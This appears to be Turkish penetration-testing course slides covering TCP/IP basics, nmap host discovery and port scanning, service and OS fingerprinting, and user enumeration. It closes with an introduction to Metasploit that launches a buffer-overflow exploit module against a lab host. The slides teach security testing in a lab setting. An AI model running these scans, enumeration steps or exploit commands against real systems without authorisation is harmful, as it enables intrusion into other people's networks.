CANLI SUNUCU TESPİTİ
TEMEL TCP / IP BİLGİSİ
TCP / IP paketine baktığımızda kabaca 5 katman vardır (OSI modeli ve
bunların TCP/IP ile ilişkilendirilmesine girmeyeceğiz):
• Fiziksel katman: Paketin tamamını ifade eder, incelememiz açısından bir
önemi bulunmamaktadır.
• Veri bağlantı katmanı (data link layer): Paketin yerel ağda iletimi için
önemli başlık alanıdır. MAC adreslerinin esas alındığı bir katmandır. Yerel
alan saldırıları açısından bilinmesi önemlidir, ancak bu noktada
derinlemesine değinmeyeceğiz.
• Ağ katmanı (network layer): İncelememiz açısından önemli olup IP
adreslerinin paket iletiminde önem kazandığı katmandır. Bu adresler
özellikle paketler yerel ağdan çıktığı durumlarda önemlidir, zira veri
bağlantı katmanı yerel ağdan çıkıldığında paketten sıyrılır ve sonraki LAN
veya WAN protokollerine uygun olarak farklı ceketlere sahip olarak
hedefine doğru yoluna devam eder.
CANLI SUNUCU TESPİTİ
TEMEL TCP / IP BİLGİSİ (devamı)
• Taşıma katmanı (transport layer): Bu katman kabaca iletilen paketlerin
üzerinde seyahat ettiği hattın ihtiyaçlarına bağlı olarak veya farklı
paketlerin farklı sıralarda hedefe ulaşabileceği gerçeği nedeniyle
paketlerin doğru sırada ve tam olarak karşı tarafa iletilmesinden sorumlu
ağ protokol katmanıdır. Ancak TCP ve UDP için anlamlı olan bu tanım ICMP
için pek bir anlam ifade etmeyecektir. Bu nedenle her ağ protokolünün
tüm bu katmanlara karşılık gelmesini beklememek gereklidir. Bu gerçek
OSI teorik modeli için daha da doğrudur, çünkü TCP/IP paketlerini 7
katmandan oluşan bu modelle eşleştirmek daha da zordur.
• Uygulama katmanı (application layer): Bu katman da daha çok TCP ve
UDP protokolleri ile daha iyi anlam bulan bir katmandır. İletilen paketin
içinde uygulama seviyesinde anlam kazanan verilerin bulunduğu
bölümdür. Taşıma ve Uygulama katmanlarına örnekleri bir HTTP paketi ve
bir DNS paketi içinde inceleyeceğiz.
CANLI SUNUCU TESPİTİ
HTTP Paket Örneği (Veri Bağlantı Katmanı)

Yerel ağ'da MAC adresi ile iletişim kurulur.


IPv4 IP paketini gönderen istemci ya bu IP adresinin
sahibini sorgular ya da mevcutsa ARP cache'inde
bulunan MAC adresini kullanır.
Gönderilen paketin içinde hedef IP adresi vardır,
ancak Layer 2 cihazlar (switch'ler) MAC adresini
esas alarak yönlendirme yapar.
ARP Poisoning ile araya girme yöntemi bu tasarım
özelliğini kullanır.
CANLI SUNUCU TESPİTİ
HTTP Paket Örneği (Ağ Katmanı)

Güvenlik açısından önemli IP başlık


alanları:
• Kaynak ve hedef IP adresleri
• Time to live alanı
• Flags, Fragment Offset ve
Identification alanları
• Source Routing option alanları
CANLI SUNUCU TESPİTİ
HTTP Paket Örneği (Taşıma Katmanı)

Güvenlik açısından önemli TCP


başlık alanları:
• Kaynak ve hedef port
numaraları:
• Flags alanı
• TCP Sequence ve
Acknowledgement sıra
numaraları
CANLI SUNUCU TESPİTİ
HTTP Paket Örneği (Uygulama Katmanı)

Wireshark bu paketin
uygulama katmanında HTTP
protokolünün taşındığını nasıl
anlamış olabilir?..
CANLI SUNUCU TESPİTİ
EGZERSİZ

• Kali üzerinde "python –m SimpleHTTPServer 500" komutu ile


TCP 500 portundan dinleyen basit bir HTTP sunucusunu
başlatınız
• Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye
başlayınız
• Host bilgisayarınızdan browser ile Kali bilgisayarınızın TCP 500
portuna bağlanınız
(ör: http://192.168.163.128:500 şeklinde)
• Wireshark'ın TCP 500 portu ile yapılan iletişimi HTTP protokolü
olarak yorumlamasını sağlayınız
İPUCU: Wireshark'ın "Decode As" özelliğini kullanınız
CANLI SUNUCU TESPİTİ
DNS Paket Örneği (Taşıma Katmanı)
CANLI SUNUCU TESPİTİ
DNS Paket Örneği (Uygulama Katmanı)
CANLI SUNUCU TESPİTİ
ICMP Paket Örneği (Ağ Katmanı)

ICMP'nin IP
protokol
numarası "1"
CANLI SUNUCU TESPİTİ
ICMP Paket Örneği

ICMP için bir port kavramı


bulunmamaktadır
ICMP paketlerinin türünü Type
ve Code alanları belirler
CANLI SUNUCU TESPİTİ
EGZERSİZ

• Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye


başlayınız
• Kali'den host (Windows) bilgisayarınıza doğru "ping" komutunu
çalıştırınız
• Host (Windows) bilgisayarınızdan Kali'ye doğru "ping"
komutunu çalıştırınız
• Her iki istek arasındaki farkları Wireshark'tan
inceleyiniz
CANLI SUNUCU TESPİTİ
ICMP Tarama

"nmap" opsiyonlarının anlamları


-sn (port tarama yapma)
-PE (Echo Request)
-PP (Timestamp)
-PM (Address Mask Request)

# nmap -sn -PE -PP -PM 192.168.165.0/24


CANLI SUNUCU TESPİTİ
Lokal Subnet'te Sunucu Tespiti

Nmap'in lokal ağda sunucu


tespitinde ilk olarak izlemeyi tercih
ettiği yol bizim tarama
opsiyonlarımızdan farklı.
CANLI SUNUCU TESPİTİ
Lokal Subnet'te Sunucu Tespiti

Nmap'in ürettiği paketleri incelediğimizde biz ICMP


tarama yapmak istemiş olsak da nmap'in lokal ağda
öncelikle ARP request paketlerini kullandığını
görüyoruz.
Bu yöntem hedef sunucular açısından daha az şüphe
çekici bir yöntem. Ama yerel ağı dinleyen bir IDS için
ICMP taraması kadar bariz bir tarama işlemi.
CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması
İnternet'te sık rastlayabileceğiniz portlar
• HTTP (TCP 80)
• HTTPS (TCP 443)
• DNS (UDP 53, TCP 53)
• IPSEC (UDP 500 - IKE protokülü)
• SMTP (TCP 25)
• SSH (TCP 22)
• SIP (TCP/UDP 5060, 5061)
• FTP (TCP 21)
• TELNET (TCP 23)
• CHECKPOINT (TCP 264 - Topoloji servisi)
CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması
İntranet'te sık rastlayabileceğiniz portlar:
• NETBIOS over TCP – NBT ( (UDP 137 - Name servisi)
• SMB (TCP 139 – Dosya ve yazıcı paylaşımı için kullanılır)
• CIFS (TCP 445 – SMB’nin yerini alan Windows dosya paylaşım protokolü)
• RDP (TCP 3389)
• HTTP (TCP 80)
• HTTPS (TCP 443)
• HTTP PROXY (TCP 8080, TCP 3128 - Squid proxy servisi)
• SNMP (UDP 161)
• LDAP (TCP 389)
• FTP (TCP 21)
• TELNET (TCP 23)
• RPC (UDP 111)
• NFS (TCP 2049)
• MSSQL (TCP 1433)
• MySQL (TCP 3306)
• ORACLE (TCP 1521)
CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması (TCP Tarama)

# nmap -sS
-p21,22,23,25,53,80,139,264,389,443,445,1433,1521,2049,3128,3306,338
9,5060,8080 192.168.163.129
CANLI SUNUCU TESPİTİ
Sık Rastlanan Servis Portlarının Taranması (UDP Tarama)

# nmap -sU -p53,111,121,137,161,500,5060 192.168.163.129


CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması

Unique isimlerinden
<00> – Workstation adı,
Group isimlerinden
<00> – Workgroup, domain adı anlamına
gelir.
Ayrıca bazı Netbios suffix’leri sunucu üzerinde
çalışan servisler ve diğer bilgileri ifade eder
(örneğin Unique isimlerinden 20 - dosya
sunucusu olduğunu, Group isimlerinden 1C
domain controller olduğunu belirtir).
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması

NetBIOS taraması her zaman Windows


Kali üzerinde SMB erişimi sunuculara ilişkin veri döndürmez.
için gerekli Samba Seyrek olsa da üzerinde Samba yüklü
paketleri zaten yüklü olan Unix / Linux sunucular da bu
taramalarda görünür.
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması

NetBIOS name server'ın


başlatılması
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması
CANLI SUNUCU TESPİTİ
NetBIOS İsim Servisinin Taranması

Kali sunucusunun NetBIOS


taramasında görünmesi
CANLI SUNUCU TESPİTİ
EGZERSİZ

• Öğrendiğiniz canlı sunucu tespit etme yöntemlerini uygulayarak


LAB ortamındaki bilgisayarları tespit ediniz.
• Canlı sunucu tespiti sırasında edindiğiniz sunucu adı ve çok
kullanılan portlardan tespit ettiklerinizi not ediniz.

ÖNEMLİ: Bu aşamada vakit kaybı yaşamamak için Full (yani 1-


65535 arasındaki tüm portlar için) Port
Taraması yapmayınız.
PORT TARAMA
TCP Servis Örneği

#!/usr/bin/perl
use IO::Socket::INET;
 
# flush
$| = 1;
 
my ($socket,$client_socket);
my ($peeraddress,$peerport);
 
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!\n";
 
print "TCP sunucu dinliyor ...\n";
 
while(1) {
$client_socket = $socket->accept();
$peer_address = $client_socket->peerhost();
$peer_port = $client_socket->peerport();
print "Yeni baglanti : $peeraddress, $peerport\n ";
while(1) {
$client_socket->recv($data,1024);
print "Istemciden alinan veri : $data\n";
 
if ($data eq "selam\n") {
$data = "Sana da selam...\n";
$client_socket->send($data);
}
}
}
$socket->close();
PORT TARAMA
TCP Servis Örneği

TCP servisimizi
başlatıyoruz
PORT TARAMA
TCP Servis Örneği

Kali'den TCP 5000


portundan dinleyen
servise bağlanıyoruz
PORT TARAMA
TCP Servis Örneği

Netcat ile TCP sunucusuna bağlandığımız anda


herhangi bir veri iletilmemiş olmasına rağmen
bir iletişim gerçekleşmiş.
Bu iletişim TCP protokolünün gereği olan TCP el
sıkışma (handshake) paketlerinden oluşuyor.
PORT TARAMA
TCP Servis Örneği

İSTEMCİ SUNUCU

Statü Fonksiyon Paketler Fonksiyon Statü


PORT TARAMA
TCP Servis Örneği

SYN paketi
İstemci sıra numarasını
üretiyor
PORT TARAMA
TCP Servis Örneği

Sadece SYN bayrağı işaretli


PORT TARAMA
TCP Servis Örneği

SYN, ACK paketi


Sunucu istemci'nin sıra
numarasını acknowledge
ediyor.
Yani istemcinin sıra
numarasına "1" ekleyerek
geri gönderiyor.
PORT TARAMA
TCP Servis Örneği

SYN, ACK paketi


Sunucu kendi sıra
numarasını üretiyor
PORT TARAMA
TCP Servis Örneği

SYN ve ACK bayrakları


işaretli
PORT TARAMA
TCP Servis Örneği

3. paketin iletimiyle birlikte


bağlantı kurulmuş oluyor

ACK paketi
İstemci sunucu'nun sıra
numarasını acknowledge
ediyor.
Yani sunucunun sıra
numarasına "1" ekleyerek
geri gönderiyor.
PORT TARAMA
TCP Servis Örneği

İstemci'den "hello" kelimesini sunucuya gönderiyoruz.


Ancak herhangi bir veri alamıyoruz. Bunun sebebi
sunucunun sadece "selam" kelimesine yanıt veriyor
olması.
Veri dönmese de TCP protokolünün gereği olarak
sunucudan bir ACK paketinin dönmüş olması lazım.
PORT TARAMA
TCP Servis Örneği

İstemciden giden paketteki


veri bölümü
PORT TARAMA
TCP Servis Örneği

Sunucu herhangi bir veri


döndürmemesine rağmen
istemciden aldığı 6 byte'lık
veriyi acknowledge ediyor
ve ACK sıra numarasını 6
artırıyor.
PORT TARAMA
TCP Servis Örneği

Bu defa istemci'den "selam" verisini gönderiyoruz.


Bir önceki istekten farklı olarak bu defa veri içeren bir
yanıt alıyoruz.
PORT TARAMA
TCP Servis Örneği

İstemciden giden paketteki


veri bölümü
PORT TARAMA
TCP Servis Örneği

Sunucudan dönen pakette


bulunan veri bölümü.
Bu paketle sunucu aynı
zamanda istemciden bir
önceki pakette gelen veri
miktarında ACK
numarasını da artırıyor.
PORT TARAMA
TCP Servis Örneği

İstemci sunucudan dönen


yanıtı aldığını teyit etmek
için ACK numarasını
sunucunun ilettiği veri
miktarı kadar artırarak
ACK paketini iletiyor.
PORT TARAMA
UDP Servis Örneği

#!/usr/bin/perl
use IO::Socket::INET;
 
# flush
$| = 1;
 
my ($socket,$received_data);
 
$socket = new IO::Socket::INET (
LocalPort => '5000',
Proto => 'udp',
) or die "Soket olusturulamadi : $!\n";
 
print "UDP sunucu dinliyor ...\n";
 
while(1) {
$socket->recv($received_data,1024);
print "Istemciden alinan veri : $received_data\n";
if ($received_data eq "selam\n") {
Şimdi UDP iletişimini
$socket->send("Sana da selam...\n");

}
 
}
analiz etmek üzere aynı
fonksiyonaliteyi bir UDP
$socket->close();

servisi üzerinden
sağlayalım.
PORT TARAMA
UDP Servis Örneği

UDP servisimizi
başlatıyoruz
PORT TARAMA
UDP Servis Örneği

Yine Netcat ile karşıdaki


servise bağlantı kuruyoruz
Ancak bu defa karşıdaki
servis bir UDP servisi

# nc –u 192.168.1.149 5000
PORT TARAMA
UDP Servis Örneği

TCP bağlantısında bu
aşamada el sıkışma
paketleri iletilmişti.
UDP için böyle bir durum
söz konusu değil, yani
aslında sunucu henüz
istemcinin varlığının
farkında bile değil.
PORT TARAMA
UDP Servis Örneği

UDP servisine anlamadığı


bir istek gönderiyoruz.
Servisimiz sadece "selam"
isteğine yanıt veriyor.
Dolayısıyla herhangi bir
yanıt alamıyoruz.
PORT TARAMA
UDP Servis Örneği

Sunucunun isteği aldığını


görebiliyoruz
PORT TARAMA
UDP Servis Örneği

Bu iletişimde sadece bir


paket yer almış
Sunucu tamamen sessiz
kalmayı tercih etmiş
PORT TARAMA
UDP Servis Örneği

Bu defa sunucunun
anladığı dilden bir istek
gönderiyoruz.
Sunucu da bize bir yanıt
veriyor.
PORT TARAMA
UDP Servis Örneği

Sunucu sadece beklediği


bir istek geldiğinde yanıt
üretti.
PORT TARAMA
TCP ve UDP SERVİSLERİ İNCELEMESİNİN SONUCU

• TCP ve UDP servislerinin davranışları içerik itibarıyla aynı


olmasına rağmen TCP servisi protokolün çalışma yöntemi
nedeniyle servisin doğru istek gönderilmese bile ifşa olmasına
neden olmaktadır.
• UDP servisi beklediği veri (payload) iletilmezse sessizliğini
korumaktadır. Bu davranış eğer firewall yok ise UDP portunun
açık olduğu anlamına gelmektedir. Ancak firewall var ise istek
paketinin DROP edildiği veya sunucudan dönecek olan ICMP
Port Unreachable paketinin filtrelendiği anlamına da gelir.
• Bu sebepten dolayı UDP taramalarındaki hız ve kesinlik
düşmektedir.
PORT TARAMA
Kapalı TCP Portu Davranışı

"hping" ile kapalı olduğunu bildiğimiz bir TCP


portuna 1 adet SYN paketi gönderiyoruz

# hping3 192.168.1.149 -V -c 1 -S -p 5001


PORT TARAMA
Kapalı TCP Portu Davranışı

Sunucu kapalı bir TCP


portuna istek yapıldığında
RST, ACK yanıtı dönüyor
PORT TARAMA
Kapalı UDP Portu Davranışı

"hping" ile kapalı olduğunu bildiğimiz bir UDP


portuna 1 adet UDP paketi gönderiyoruz
UDP paketinin veri bölümü bulunmuyor
PORT TARAMA
Kapalı UDP Portu Davranışı

Kapalı bir UDP portuna


paket gönderildiğinde
sunucu ICMP Port
Unreachable paketi ile
istemciyi bilgilendiriyoruz
PORT TARAMA
Full TCP Port Tarama

Full tarama yapacağımız


sunucumuzun açık olan
servisleri yukarıdaki gibidir
PORT TARAMA
Full TCP Port Tarama

Tarama yapılacak olan sunucu üzerindeki


firewall kurallarını Flush ediyoruz ve
herhangi bir kural tanımlı olmadığından
emin olmak için kuralları listeliyoruz
PORT TARAMA
Full TCP Port Tarama

Her 2 TCP portumuzu da tespit


edebildik.

Tüm TCP portları için SYN taraması yapıyoruz.


SYN taraması istemci tarafından TCP handshake
tamamlanmadan son adımda iletişimin RST
paketi ile kesilmesi yöntemi ile yapılır. Firewall aktifken tarama süresi
El sıkışma işleminin tamamlandığı yönteme 11,88 sn.
Connect scan (-sT opsiyonuyla yapılır) adı
verilir.
PORT TARAMA
Full TCP Port Tarama

Bu defa TCP port taramasından önce TCP


80 ve TCP 5000 portları dışındaki tüm
portlara yapılan istekleri DROP edecek
biçimde firewall kurallarını tanımlıyoruz.
PORT TARAMA
Full TCP Port Tarama

Tarama sonuçları aynı olmasına rağmen


nmap'in işi 10 kata yakın süre daha fazla
sürdü. Bu fark nmap'in yanıt alamadığı Firewall aktifken tarama süresi
istekler için belli bir süre beklemesinden
115,68 sn.
kaynaklanıyor.
PORT TARAMA
UDP Port Tarama

Full port tarama yapmadığımız için


UDP 34841 portu tespit
edilememiş.
UDP 161 dışındaki portların da açık
olduğundan kesin olarak emin
olamamış.

Full UDP port tarama yapmadan önce


yine tüm firewall kurallarını kaldırdık.
Sadece 1000 port taranmış olmasına
UDP port taramada TCP taramadan
rağmen UDP taramasının süresi TCP
farklı olarak tüm portları taramadık.
taramalarına göre çok daha uzun
Nmap öntanımlı olarak Top 1000 portu
sürdü.
tarıyor.
PORT TARAMA
UDP Port Tarama

Bu defa UDP port taramasından önce aktif


olan UDP portları dışındaki tüm portlara
yapılan istekleri DROP edecek biçimde
firewall kurallarını tanımlıyoruz.
PORT TARAMA
UDP Port Tarama

Bu defa tarama süresi çok düştü.


Muhtemelen nmap yanıt vermeyen
portlar için bekleme süresini azalttı.

Firewall aktifken kapalı UDP portları ile açık ancak beklediği girdiyi almadığında
yanıt üretmeyen UDP portları aynı biçimde davrandığından tüm bu portların
kapalı olduğuna kanaat getirdi.
Nmap'in SNMP protokolü (UDP 161) için hazır probe payload’u bulunduğundan
nmap bu portu net olarak açık şeklinde belirledi. Ancak diğerlerini gözden
kaçırdı.
PORT TARAMA
Full UDP Port Tarama

Full UDP port tarama işlemi


firewall'suz top 1000 port tarama ile
yaklaşık aynı süre sürdü. Ancak SNMP
dışındaki tüm servisler gözden
kaçırıldı.
PORT TARAMA
EGZERSİZ

• Full TCP ve UDP taramalarından neden 1-65535 arasındaki


portlar taranmaktadır, üst limit neden 65535'dir?
• Canlı olduğunu tespit ettiğiniz "1" LAB sunucusu için full TCP ve
UDP taramalarını gerçekleştirin.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

#!/usr/bin/perl
use IO::Socket::INET;
# flush
$| = 1;
my ($socket,$client_socket);
my ($peeraddress,$peerport);
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '5000',
Proto => 'tcp',
Listen => 5,
Reuse => 1
) or die "Soket olusturulamadi : $!\n";
print "TCP sunucu dinliyor ...\n";
while(1) {
$client_socket = $socket->accept();
my $data = "220 BTRisk FTP Sunucusuna Hoşgeldiniz\r\n220 ProFTPD 1.3.5 Server (ProFTPD)";
$client_socket->send($data);
}
$socket->close();
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

Netcat ile servisimize TCP bağlantısı kurar


kurmaz bir banner ile karşılaşıyoruz
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

Nmap TCP 5000 portundaki


servisimizin ProFTPD 1.3.5
olduğu sonucuna vardı

# nmap -Pn -sV -version-all -p1-65535 192.168.163.129


SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
“-Pn”: Nmap normalde bir sunucuya yönelik port taraması yapmadan önce bir ping
paketi, buna yanıt alamazsa TCP 80 ve 443 portlarına birer paket gönderir. Böylece
sunucunun ayakta olup olmadığını anlamaya çalışır, eğer herhangi bir yanıt alamaz ise de
taramayı gerçekleştirmez. “-Pn” opsiyonu özellikle firewall arkasında bulunan ve mevcut
olduğunu düşündüğümüz veya çok kritik olabilecek sunucular için mutlaka kullanılması
gereken bir opsiyon, aksi takdirde port taramamız gerçekleşmeyecektir.
“-sV”: Bu opsiyon nmap’e sadece port tarama yapmamasını, aynı zamanda tespit ettiği
servislerin ne olduğuna yönelik inceleme de yapması gerektiğini belirtir. Bu seçenek
neticesinde nmap tespit edilen servislere UDP taramasında uyguladığı stratejiye benzer
şekilde bazı payload’lar gönderir. Bu payload’lar servisin tam olarak ne olduğunu anlama
konusunda bizi çok daha iyi aydınlatır.
“--version-all”: nmap’in normalde kendine göre uyguladığı bir optimizasyon var, buna
göre belirli payload’ları belirli portlara yönelik olarak gönderiyor. Bu opsiyonla nmap’e
tespit ettiğin portlar için elindeki tüm payload’ları kullan emrini veriyoruz. Elbette bu
yöntem çok daha fazla paket üretilmesine neden olacak, özellikle servis sayısı arttığında
bu durum katlanacak.
“-p1-65535”: Bu opsiyon bildiğiniz gibi full port taraması için kullandığımız opsiyon.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

Eğer tespitimiz doğru olsaydı


bir sonraki adım servisle ilgili
açıklıkları aramak olacaktı

msf > search type:exploit name:ProFTP


SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

TCP 9100-9107 arası portlar


yazıcılar tarafından
kullanıldığından nmap tarafından
Nmap'in servis tespiti için kullandığı
kapsam dışında bırakılmıştır
probe yöntem ve payload'ları
/usr/share/nmap/nmap-service-
probes dosyasında yer almaktadır

Bu probe yönteminde servise


herhangi bir payload
gönderilmemekte ve 6 saniye
beklenmektedir
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

Buradaki regular expression’ı okursak:


• İlk satır satır başında 220 ile başlamak kaydı ile herhangi bir metin
• İkinci satır başında da yine “220 ProFTPD “ ile başlayan, devamında herhangi
bir word karakteri (yani küçük harf, büyük harf, rakam ve alt çizgi) veya alt çizgi
veya tire karakterlerinden en az bir adetten oluşan bir kelime, devamında da “
Server (ProFTPD)” ifadesini arıyor.
• İkinci satırda parantez işaretleri arasında bulunan kısım ise nmap tarafından
servisin versiyonu raporlanırken kullanılıyor ($1 bu eşleşmenin yerine geçiyor).
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

Service probes dosyasında yaklaşık


10.000 satır var
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Servis ve Versiyon Tespiti

Null probe dışında bir örnek vermek gerekirse HTTP servislerini tespit etmeye
yönelik bir probe örneği olarak bu örnek verilebilir, bir GET isteğinden sonra iki
enter’ı ifade eden bir probe sonrasında aşağıda gelen match ifadeleri bekleniyor.
Ancak port numaraları sınırlanmış. Bizim nmap taramamızda kullandığımız "--
version-all" opsiyonu bu sınırlandırmayı iptal ediyor.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti

İşletim sistemi tahmininin gerekçeleri:


• Hedef sunucunun açıklık barındırıp barındırmadığının tahmini (örneğin rwho
servisi Solaris 7-9 arasında exploit edilebilirken Solaris 10’da bu açıklık
giderilmiştir).
• Exploit kodlarının çalışabilmesi için düzenlenmesi (açıklık barındıran bir servis
tespit etseniz bile exploit kodunuzun içindeki adreslerin hedef işletim
sisteminin versiyonuna uygun hale getirilmesi gerekebilir. Çünkü exploit’un
atlama adresi olarak kullandığı bölümdeki kodlar işletim sistemi güncellemesi
ile ortadan kalkmış veya kaymış olabilir)
• Envanter takibi (güvenlik yöneticisi olarak ağınıza bağlı cihazları takip etmek
için bu yöntemi kullanabilirsiniz)
• İzinsiz ve tehlikeli cihazların tespiti
• Sosyal mühendislik (hedeflediğiniz bir kullanıcı hakkında size destekleyici
bilgi sağlayabilir)
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti

# nmap -O 192.168.163.131

Nmap, firewall'u aktif bir bilgisayarı -O opsiyonuyla işletim sistemi


tespiti amacıyla taradığımızda en az 1 AÇIK ve 1 KAPALI port
bulamadığı için ürettiği sonuçların sağlıklı olmayabileceğini belirtti.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti

Hedefteki sunucumuz
Windows 7 Home Basic – SP1
işletim sistemine sahip
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti

İşletim sistemi enumeration


taramasını bu defa Firewall
pasif iken yapacağız
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti

Firewall pasif hale


getirildiğinde nmap biraz daha
daraltılmış bir tahmin yapabildi
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
NMAP Aggressive Scan
# nmap –A 192.168.163.131

“nmap”in -A (Aggressive Scan)


opsiyonu ile servis versiyonu,
işletim sistemi tespiti, script
scanning ve traceroute birlikte
yapılıyor.

Servis
enumeration

İşletim sistemi
enumeration
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
NMAP Aggressive Scan
# nmap -A 192.168.163.131

Script scan
sonuçları

Traceroute
sonuçları
KULLANICI TESPİTİ
Null Session Enumeration

Windows 2000 işletim sistemi


modern işletmelerde artık
karşılaşma ihtimalimizin düşük
olduğu bir işletim sistemi. Ancak
en meşhur kullanıcı tespit
yöntemlerinden birisi olduğundan
ve belli bir yaşı aşkın işletmelerde
kıyıda köşede kalmış böyle bir
sunucuya rastlama ihtimaliniz
olduğundan null session
enumeration’dan bahsetmeden
geçemeyiz.
KULLANICI TESPİTİ
Null Session Enumeration

"enum4linux" aracı "Null


Session"a imkan veren
sunucularda kullanıcı tespiti ve
parola politikası tespiti de
yapabilmektedir.
KULLANICI TESPİTİ
Null Session Enumeration

Hedef işletim sisteminin bir


Windows 2000 sunucu olduğunu
görebiliriz.
KULLANICI TESPİTİ
Null Session Enumeration

Null session’ı engellemek için gerekli olan restrictanonymous registry


değerinin “0” olması sayesinde bu bilgilere erişebiliyoruz. Güvenli bir
konfigürasyonda bu değerin “2” olması beklenirdi.
KULLANICI TESPİTİ
SNMP Enumeration

Daha evvel snmp-check


aracı ile SNMP servisinden
bilgi edinmiştik.
Bu örnekte Metasploit'un
auxilary modüllerinden
snmp_enum modülünü
kullandık.
KULLANICI TESPİTİ
SNMP Enumeration

Windows

Daha önce de gördüğümüz


gibi Windows sunucu
kullanıcı hesaplarının
SNMP üzerinden elde
edilmesine imkan verdi.
Hedef bilgisayarımız bir
Windows 7 idi.
KULLANICI TESPİTİ
SNMP Enumeration

Linux

Kali üzerinde aktif hale


getirdiğimiz SNMP servisi
de bilgi sızdırıyor, ancak
kullanıcı isimlerinin
sağlanması gibi bir
fonksiyonalitesi yok.
KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti

Arama motorlarından E-
Posta adresleri tespiti
internet'ten VPN, Terminal
Servisi, E-Posta Sunucu
erişimleri, sosyal
mühendislik amaçlarına
hizmet edebilir
KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti

Kuruma ait web siteleri spider


edilerek web sayfalarında geçen
e-posta adresleri aktif olarak
aranabilir.
Burp-Suite aktif veya pasif olarak
gözlemlediği e-posta adreslerini
raporlamaktadır.
KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti

Burp-Suite uyarı örneği


KULLANICI TESPİTİ
Ofis Metadata'larından Kullanıcı Adı Tespiti

Google'da "filetype" ve "site" anahtar


kelimeleri ile hedef daraltılarak inceleme
yapılabilir. Ofis dokümanları metadata'ları
internet'ten VPN, Terminal Servisi, E-
Posta Sunucu erişimleri, sosyal
mühendislik saldırılarına yardımcı olabilir
KULLANICI TESPİTİ
Ofis Metadata'larından Kullanıcı Adı Tespiti
KULLANICI TESPİTİ
Öntanımlı Kullanıcılar

Hedef sunucu ve servis tespit edilebilirse


bu örnekte olduğu gibi öntanımlı parola
listelerinden veya ilgili sistemin
dokümantasyonu içinden öntanımlı
kullanıcılar aranabilir.
KULLANICI TESPİTİ
EGZERSİZ

• Kali üzerinde Nmap'in scriplerinin bulunduğu dizini tespit ediniz


ve içindeki script dosyalarının isimlerini inceleyiniz.
• oracle-enum-users.nse script'inin Oracle'ın öntanımlı portu
dışında bir portu kullanması halinde nasıl bir değişikliğe tabi
tutulması gerekebilir?
• Nmap script scan için gerekli kullanım kurallarını nmap'in man
page'inden inceleyiniz.
KULLANICI TESPİTİ
Diğer Kullanıcı Tespit Yöntemleri
Web uygulamaları aracılığı ile kullanıcı sızdırma
Hedef kuruma ait bazı web uygulamalarının doğru ve hatalı kullanıcı kodları ile
yapılan erişim denemelerinde ayırt edici hata yanıtları döndürecek bir şekilde
kod geliştirilmeleri halinde (kimi durumlarda şans, kimi durumlarda tahmin
edilebilir kullanıcı kodlarının kullanıcılara atanması sayesinde) net olarak belli bir
kullanıcı kodunun geçerli olup olmadığını tespit edebiliriz. Bu tespit yapıldıktan
sonra da parola politikasına bağlı olarak kaba kuvvet saldırısı ile web
uygulamasına erişim gerçekleştirmemiz söz konusu olabilir.

SMTP enumeration
Açıkçası pek karşılaşılmasa da EXPN ve VRFY SMTP komutları ile ismini bizim
verdiğimiz kullanıcıların hedef sistem üzerinde tanımlı olup olmadıklarını tespit
edebiliriz. Ancak bu tür bir testte hedefi doğru belirleyebilmeniz için zaten
şüpheli öntanımlı kullanıcıları hedef almanız lazım. Bu durumda SMTP
enumeration yöntemi sadece basit bir doğrulama imkanı sunabilir.
METASPLOIT
VE
METERPRETER
İÇERİK
• Metasploit Kullanımı
• Meterpreter Kullanımı
• Post Exploitation ve Yetki Yükseltme
• Handler Modülü
• Hashdump
METASPLOIT KULLANIMI
Metasploit'in en sık kullanılan
ve desteklenen arayüzü konsol
arayüzüdür.
METASPLOIT KULLANIMI

search type:exploit allmedia

Senaryo 2'de manuel olarak


gerçekleştirdiğimiz adımları bu
defa Metasploit üzerinde
gerçekleştirmeyi deneyeceğiz.
METASPLOIT KULLANIMI

use exploit/windows/misc/allmediaserver_bof
METASPLOIT KULLANIMI

netdiscover -r 192.168.163.0/24

Konsol arayüzünün avantajlarından


bir tanesi de işletim sistemi
komutlarını konsoldan ayrılmadan
çalıştırabilmemizdir.
METASPLOIT KULLANIMI

Hedef sistemimizin IP adresini


görüyoruz.
METASPLOIT KULLANIMI

set rhost 192.168.163.140


METASPLOIT KULLANIMI

exploit

